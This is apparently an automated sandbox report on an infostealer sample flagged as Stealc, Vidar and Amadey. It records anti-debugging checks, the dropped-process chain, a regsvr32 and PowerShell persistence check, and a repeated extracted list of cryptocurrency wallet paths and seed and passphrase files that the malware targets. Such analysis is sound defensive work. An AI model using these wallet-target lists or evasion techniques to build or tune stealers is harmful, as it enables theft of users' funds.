Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHCAEHJJKFC.exe

Code function: 21_2_04C7075E rdtsc

21_2_04C7075E

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF1AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0043652B mov eax, dword ptr fs:[00000030h]		25_2_0043652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0043A302 mov eax, dword ptr fs:[00000030h]		25_2_0043A302

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF1AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7840, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAEHJJKFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCAEHJJKFC.exe "C:\Users\user\DocumentsHCAEHJJKFC.exe"
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF64760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CF64760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE41C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CE41C30

Source: regsvr32.exe, 00000024.00000003.2594217685.0000000003066000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: file.exe	Binary or memory string: FProgram Manager
Source: file.exe, 00000000.00000002.1921740249.0000000000994000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: FProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF1AE71 cpuid

0_2_6CF1AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF1A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CF1A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE68390 NSS_GetVersion,

0_2_6CE68390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsHCAEHJJKFC.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.1974488735.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2017592624.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2618969757.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2404125095.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2015690259.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1921785007.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1977021442.0000000000AF1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1977420632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1920780463.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1396197301.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1922769544.000000000110E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7840, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7840, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 